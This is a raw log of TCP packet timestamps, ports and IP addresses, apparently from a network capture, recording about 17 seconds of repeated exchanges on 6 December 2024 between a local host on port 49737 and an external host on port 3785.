Dec 6, 2024 10:40:39.107153893 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:39.187465906 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:39.206290007 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:39.288485050 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:39.307225943 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:39.389611959 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:39.410099030 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:39.490549088 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:39.509392977 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:39.591468096 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:39.610235929 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:39.691545010 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:39.712111950 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:39.792464018 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:39.811496019 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:39.892496109 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:39.912280083 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:39.992530107 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:40.012311935 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:40.093466043 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:40.113389015 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:40.193459034 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:40.218153954 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:40.296081066 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:40.314196110 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:40.396476030 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:40.416445017 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:40.497514009 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:40.517189026 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:40.601334095 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:40.617500067 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:40.699517012 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:40.721229076 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:40.798501015 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:40.819926977 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:40.898525000 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:40.921098948 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:40.999511957 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:41.018385887 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:41.100487947 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:41.120167971 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:41.201478958 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:41.223078966 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:41.301562071 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:41.323600054 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:41.401534081 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:41.421422005 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:41.502511024 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:41.523880959 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:41.603508949 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:41.622638941 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:41.703505993 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:41.724845886 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:41.804497957 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:41.823508024 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:41.905478954 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:41.924587011 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:42.005498886 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:42.025829077 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:42.106519938 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:42.125653982 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:42.206533909 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:42.227221012 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:42.306647062 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:42.326610088 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:42.407605886 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:42.427239895 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:42.507575035 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:42.527494907 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:42.611370087 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:42.627777100 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:42.711370945 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:42.731323004 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:42.809680939 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:42.831126928 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:42.911412001 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:42.929528952 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:43.011374950 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:43.031411886 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:43.109532118 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:43.131608009 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:43.209542990 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:43.229486942 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:43.310486078 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:43.337199926 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:43.411530018 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:43.430284977 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:43.512552977 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:43.531378031 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:43.612500906 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:43.632580996 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:43.713551998 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:43.732624054 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:43.813534021 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:43.833457947 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:43.913485050 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:43.933315992 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:44.015263081 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:44.033350945 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:44.114494085 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:44.135648012 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:44.214488983 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:44.234541893 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:44.314486980 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:44.341089964 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:44.415611982 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:44.434299946 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:44.517340899 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:44.535434961 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:44.615511894 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:44.638222933 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:44.717350006 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:44.735512972 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:44.816504002 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:44.837563992 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:44.919356108 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:44.936254978 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:45.017625093 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:45.039150000 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:45.118556023 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:45.137434006 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:45.219547033 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:45.238409996 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:45.319542885 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:45.339317083 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:45.420566082 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:45.439939976 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:45.521536112 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:45.541243076 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:45.622613907 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:45.642131090 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:45.722632885 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:45.742443085 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:45.823553085 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:45.844125986 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:45.924527884 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:45.943475008 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:46.029385090 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:46.044704914 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:46.129096985 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:46.149118900 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:46.229362965 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:46.248986959 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:46.329354048 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:46.349195957 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:46.431371927 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:46.449105024 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:46.531428099 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:46.551352978 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:46.630589962 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:46.651619911 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:46.730709076 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:46.753273964 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:46.831527948 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:46.850539923 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:46.935460091 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:46.951354980 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:47.040637970 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:47.055372953 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:47.140511990 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:47.160695076 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:47.241542101 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:47.260387897 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:47.341572046 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:47.361455917 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:47.441543102 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:47.461282015 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:47.541549921 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:47.561428070 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:47.641547918 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:47.661473036 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:47.742541075 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:47.761512041 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:47.842544079 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:47.862525940 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:47.943500042 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:47.962641001 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:48.045375109 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:48.063380957 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:48.144514084 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:48.165507078 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:48.244513988 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:48.264267921 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:48.344511986 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:48.364470005 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:48.444526911 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:48.464231014 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:48.547420979 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:48.564651012 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:48.647394896 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:48.668064117 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:48.745523930 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:48.767294884 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:48.845515013 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:48.865376949 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:48.949409962 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:48.965553999 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:49.047667027 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:49.069264889 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:49.148528099 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:49.167711973 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:49.249542952 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:49.268481970 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:49.350541115 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:49.369415998 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:49.450555086 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:49.470326900 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:49.551536083 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:49.570446014 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:49.651607990 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:49.671803951 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:49.751553059 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:49.771583080 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:49.852561951 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:49.871412039 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:49.952559948 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:49.972450972 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:50.057390928 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:50.072633982 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:50.157380104 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:50.177217960 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:50.256103992 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:50.277182102 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:50.355462074 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:50.375972033 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:50.455610991 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:50.475212097 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:50.555625916 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:50.575412989 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:50.655567884 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:50.675390005 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:50.756534100 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:50.775310040 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:50.857567072 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:50.876442909 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:50.960212946 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:50.977376938 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:51.058593988 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:51.079976082 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:51.158633947 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:51.180066109 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:51.279051065 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:51.940551996 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:52.041877031 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:52.063790083 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:52.143904924 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:52.163197994 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:52.243444920 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:52.263653994 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:52.343436003 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:52.364192009 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:52.443454027 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:52.463296890 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:52.543545008 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:52.563474894 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:52.645395994 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:52.663358927 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:52.747407913 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:52.765559912 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:52.847548962 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:52.867153883 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:52.947519064 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:52.967545033 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:53.045607090 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:53.067212105 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:53.146557093 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:53.165348053 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:53.246603966 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:53.266254902 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:53.347605944 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:53.367151022 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:53.448575974 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:53.468518019 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:53.548587084 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:53.568320990 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:53.648555040 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:53.668420076 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:53.749541998 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:53.768373966 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:53.849838018 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:53.869292021 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:53.949573040 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:53.969799995 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:54.053425074 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:54.069789886 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:54.150717020 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:54.173582077 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:54.255776882 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:54.270446062 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:54.376528025 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:54.567648888 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:54.669414043 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:54.687406063 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:54.768578053 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:54.789246082 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:54.869421005 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:54.888369083 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:54.969718933 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:54.989171982 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:55.069554090 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:55.089492083 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:55.169606924 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:55.189366102 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:55.270596981 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:55.289597034 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:55.371669054 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:55.390623093 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:55.472613096 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:55.491642952 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:55.572561026 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:55.592292070 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:55.673579931 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:55.692527056 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:55.773587942 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:55.794648886 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:55.874588966 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:55.895519018 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:55.974560976 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:55.994412899 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:56.077431917 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:56.096870899 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:56.177398920 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:56.199830055 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:56.279547930 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:56.297872066 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:56.377576113 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:56.399622917 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:56.481470108 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:56.497905016 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:56.578548908 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:56.601161003 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:56.678551912 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:56.698329926 CET	3785	49737	88.210.12.58	192.168.2.6
